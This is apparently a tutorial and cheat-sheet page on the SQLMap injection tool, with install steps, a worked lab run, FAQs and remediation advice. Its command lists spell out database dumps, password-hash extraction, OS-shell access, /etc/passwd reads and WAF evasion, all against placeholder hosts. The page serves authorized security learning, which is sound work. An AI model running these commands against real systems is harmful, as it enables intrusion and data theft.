Web Application
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
sudo apt install sqlmap
sqlmap -u "<URL>" [options]
Written authorization is required; use SQLMap only against an intentionally vulnerable lab. Run `sqlmap -u "http://example.com/item.php?id=1" --batch` to test the `id` parameter with six techniques: boolean-based blind (B), error-based (E), UNION query (U), stacked queries (S), time-based blind (T), and out-of-band (Q). It reports injection evidence and the DBMS; review that output before enumerating data.
Install SQLMap if it is missing; Kali normally includes it, so confirm the installed build with `sqlmap --version`. Written authorization is required before scanning, and this loop uses only the lab URL. Run `sqlmap -u "http://example.com/item.php?id=1" --batch`, then read whether `id` is injectable and which DBMS was detected. Enumerate with `sqlmap -u "http://example.com/item.php?id=1" --batch --dbs`, list tables with `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> --tables`, and dump only an approved table with `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> -T <table> --dump`. Replace placeholders only with names reported by the authorized lab.
Written authorization is required for the deliberately vulnerable lab. Run `sqlmap -u "http://example.com/item.php?id=1" --batch`. A realistic successful sequence is `[INFO] testing connection to the target URL`, `[INFO] testing if GET parameter 'id' is dynamic`, `[INFO] testing for SQL injection on GET parameter 'id'`, `[INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'`, `[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable`, and `[INFO] the back-end DBMS is MySQL`. The first line starts the connectivity check. The second checks whether `id` changes the response. The third starts injection probes. The fourth tries a UNION shape and column range. “Injectable” records the positive finding, not permission to extract data. The final line fingerprints MySQL. Review the reported payload and scope before enumeration.
SQLMap is pre-installed on Kali Linux. If it is absent, use `sudo apt install sqlmap` on Kali, Debian, or Ubuntu; `pip install sqlmap` on any OS with Python 3; `brew install sqlmap` on macOS; `sudo pacman -S sqlmap` on Arch; or `sudo dnf install sqlmap` on Fedora. For the latest development version, run `git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git`; that repository is a software source, not a scan target. Verify with `sqlmap --version`. Update a Git installation with `sqlmap --update`, Kali with `sudo apt update && sudo apt install --only-upgrade sqlmap`, or pip with `pip install -U sqlmap`. These commands only install or update the tool; written authorization is required before any lab test.
When an authorized lab test confirms SQL injection, the real fix is to stop building SQL by concatenating input. Use parameterized queries or prepared statements so values are bound as data, not executable SQL. Give the application’s database account only the permissions it needs; avoid DBA or broad write access. Validate input type, length, and format as a second layer, not as a substitute for parameters. Hide detailed database errors from users while logging them securely for developers. Patch similar queries, add regression tests, and retest the authorized lab path after deployment.
SQLMap is a free, open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities in web applications. It supports six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band.
Created by Bernardo Damele Assuncao and Miroslav Stampar in 2006, SQLMap has become the industry-standard tool for SQL injection testing. It supports all major database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, and Informix.
SQLMap goes beyond simple injection detection. It can enumerate databases, extract tables and columns, dump entire databases, escalate privileges to DBA, access the underlying operating system through database-specific features, and even upload files to the target server. Its intelligent detection engine automatically identifies injection points and selects the optimal exploitation technique.
| Command | Purpose |
|---|---|
sqlmap -u "<url>" | Test parameters in one authorized target URL using default detection settings. |
sqlmap -r <request-file> | Load and test a raw HTTP request from a file. |
sqlmap -u "<url>" --forms | Parse forms from the page and offer their fields for testing. |
sqlmap -u "<url>" --dbs | Enumerate accessible database names after injection is confirmed.Database enumeration can expose sensitive information. |
sqlmap -u "<url>" --batch | Use default answers instead of interactive prompts. |
sqlmap -u "http://example.com/?id=1"Basic SQL injection test on a single URL parametersqlmap -u "http://example.com/?id=1" --dbsEnumerate available databases after detectionsqlmap -u "http://example.com/?id=1" -D mydb --tablesList tables in a specific databasesqlmap -u "http://example.com/?id=1" -D mydb -T users --dumpDump all rows from a specific tablesqlmap -u "http://example.com/?id=1" --batchRun in non-interactive mode with default answerssqlmap -u "http://example.com/?id=1" --level=5 --risk=3Maximum level and risk for thorough testingsqlmap -u "http://example.com/?id=1" --technique=BEUUse only Boolean, Error, and UNION injection techniquessqlmap -u "http://example.com/?id=1" --os-shellAttempt to get an operating system shellsqlmap -u "http://example.com/?id=1" --file-read="/etc/passwd"Read a file from the database server filesystemsqlmap -u "http://example.com/?id=1" --passwordsEnumerate database user password hashessqlmap -u "http://example.com/?id=1" --dump-allDump all accessible databases and tablessqlmap -u "http://example.com/?id=1" --random-agentUse a random HTTP User-Agent header to avoid detectionsqlmap -r request.txtTest an HTTP request loaded from a saved filesqlmap -u "http://example.com/?id=1" --proxy="http://127.0.0.1:8080"Route traffic through a proxy for monitoringsqlmap -u "http://example.com/?id=1" --formsAuto-detect and test forms on a target pagesqlmap -u "http://example.com/?id=1" --crawl=3Crawl a website up to 3 levels deep and test formssqlmap -u "http://example.com/?id=1" --tamper=space2commentUse a tamper script to bypass WAF filterssqlmap -u "http://example.com/?id=1" --technique=T --time-sec=10Use time-based blind injection with 10-second delaysqlmap -u "http://example.com/?id=1" --wizardInteractive wizard for step-by-step scan configurationsqlmap -u "http://example.com/?id=1" --flush-session --fresh-queriesClear session data and start a fresh scansqlmap -u "http://example.com/?id=1" --threads=5Use 5 parallel threads for faster data extractionsqlmap -u "http://example.com/?id=1" --eta --updateDisplay estimated time of arrival and update SQLMapsqlmap -u "http://example.com/?id=1" --hex --dump -D mydb -T credsHex-encode data during dump for safe binary handlingsqlmap -u "http://example.com/?id=1" --privileges --is-dbaCheck user privileges and whether the user is a DBAsqlmap -u "http://example.com/?id=1" --batch -D mydb -T users --dump --threads=10 --random-agentFull automated table dump with 10 threads and random agentAutomatically detect all six SQL injection techniques across GET, POST, and header parameters.
Extract database names, table names, column names, and full data contents from vulnerable applications.
Identify database user privileges and attempt escalation to DBA for full server control.
Leverage database-specific features to execute operating system commands on the target server.
Use tamper scripts to bypass Web Application Firewalls and security filters.
Crawl websites, detect forms, and test all parameters for injection vulnerabilities.
Enumerate and extract database user password hashes for offline cracking with John the Ripper or Hashcat.
Read and write files on the database server through INTO OUTFILE and UTL_FILE for data exfiltration or webshell upload.
Execute database stored procedures for advanced exploitation including linked server traversal and XPCmdShell execution.
Automate boolean-based and time-based blind SQL injection to extract data when no error messages are visible.
| Feature | SQLMap | Manual Injection | Burp Scanner |
|---|---|---|---|
| Speed | Fast (automated) | Slow (hand-crafted) | Fast (automated) |
| Learning Value | Medium (understand output) | Very high (core skill) | Low (black box) |
| WAF Evasion | 30+ tamper scripts | Full control | Limited |
| Data Extraction | Automated dump | Manual, tedious | Detection only |
| Best For | Confirmed exploitation at scale | Learning + edge cases | Broad app coverage |
| Feature | Setting | Requests | When to Use |
|---|---|---|---|
| --level=1 --risk=1 (default) | GET/POST values only | Fewest | First pass, quiet recon |
| --level=3 | Adds Cookie & User-Agent | Moderate | Params hidden in headers |
| --level=5 | All headers & entry points | Most | Thorough authorized audit |
| --risk=2 | Adds heavy time-based | More | Boolean blind fails |
| --risk=3 | Adds OR-based payloads | Highest (can modify data) | Lab / explicit sign-off only |
| Feature | Technique | Flag | Notes |
|---|---|---|---|
| Boolean-based blind | True/false page diff | B | Reliable, moderate speed |
| Error-based | DB error in response | E | Fast when errors surface |
| UNION query | Appended UNION SELECT | U | Fastest bulk extraction |
| Stacked queries | Multiple statements | S | Enables OS/file actions where supported |
| Time-based blind | Response delay | T | Works when no output — slowest |
| Out-of-Band | DNS/HTTP side channel | Q | Works when no output is visible |
Use -r request.txt to pass a saved Burp Suite request, or --data='user=admin&pass=*' to test POST parameters. The * marks the injection point. Add --level=5 --risk=3 for maximum injection testing depth. Always test on authorized targets only.
Simple GET parameter tests complete in seconds. Full database dumps can take hours depending on database size and injection complexity. Use --threads for parallel requests, --batch for non-interactive mode, and --smart to reduce unnecessary requests on large targets.
SQLMap has built-in WAF bypass techniques including --tamper scripts (space2comment, between, randomcase), --random-agent, and --delay for rate limiting. Use --level=5 --risk=3 with tamper scripts for best WAF bypass results.
SQLMap supports six injection techniques: boolean-based blind (--technique=B), time-based blind (--technique=T), error-based (--technique=E), UNION query-based (--technique=U), stacked queries (--technique=S), and out-of-band (--technique=Q). It automatically detects and selects the best technique.
Save a vulnerable request from Burp Suite to a file (right-click > Save item), then run sqlmap -r request.txt. SQLMap automatically parses cookies, headers, and POST data from the Burp request. Add -p parameter_name to target a specific parameter.
Yes. Use --dump-all to extract all data from all databases, or --dump -D dbname -T tablename for specific tables. Add --threads=10 for faster extraction. Use --where to filter rows. Always ensure you have authorization for the scope of data you extract.
The default User-Agent identifies SQLMap. On a lab covered by written authorization, `sqlmap -u "http://example.com/item.php?id=1" --batch --random-agent` selects a random value, while `sqlmap -u "http://example.com/item.php?id=1" --batch --user-agent="Lab-Authorized-Client"` sets a custom one for approved WAF or rate-limit testing.
After confirming an injection on the authorized lab, `sqlmap -u "http://example.com/item.php?id=1" --sql-query="SELECT version()"` runs one query. `sqlmap -u "http://example.com/item.php?id=1" --sql-shell` opens an interactive SQL prompt. Both require written authorization and must remain within the confirmed lab scope.
Web Application
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Web Application
XSStrike is an advanced Cross-Site Scripting (XSS) detection suite. It features intelligent payload generation, context analysis, a powerful fuzzing engine, and built-in WAF detection and bypass capabilities.
Vulnerability Analysis
Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.
Web Application
Learn how to use Gobuster, the fast Go-based directory and subdomain brute-forcer, with install steps, your first dir scan, wordlist picks, and result filtering — a beginner tutorial for Kali Linux.
Web Application
Learn how to use FFUF (Fuzz Faster U Fool), the extremely fast open-source web fuzzer written in Go: place the FUZZ keyword where a wordlist entry should go, run your first scan, filter the noise, and discover hidden directories, files, parameters, virtual hosts and API endpoints on targets you have permission to test.
Password Attacks
Hydra is a parallelized login cracker that supports numerous protocols including FTP, HTTP, HTTPS, SMB, SSH, and many more. It performs rapid dictionary attacks against login pages and services to test password strength.
A comprehensive guide to web application security covering the OWASP Top 10 vulnerabilities, defense in depth strategies, and secure development lifecycle practices.
Web Security · IntermediateWhat is SQL injection? See real SQL injection examples, a worked DVWA lab test, and how to prevent SQL injection with parameterized queries.
Tools · IntermediateEvery SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.
Web Security · IntermediateLearn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.
On an authorized lab run, the banner’s `{1.8.12#stable}` line identifies the SQLMap build; it is not a finding. `[INFO] testing if GET parameter 'id' is dynamic` means SQLMap is checking whether changing `id` affects the response. `[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')` is an early clue, not confirmation. `[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable` confirms the detected technique and tested column range. `[INFO] the back-end DBMS is MySQL` is the database fingerprint. After authorized `--dbs` enumeration, `available databases [2]:` introduces entries such as `[*] information_schema` and `[*] dvwa`; these are database names, not tables.This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.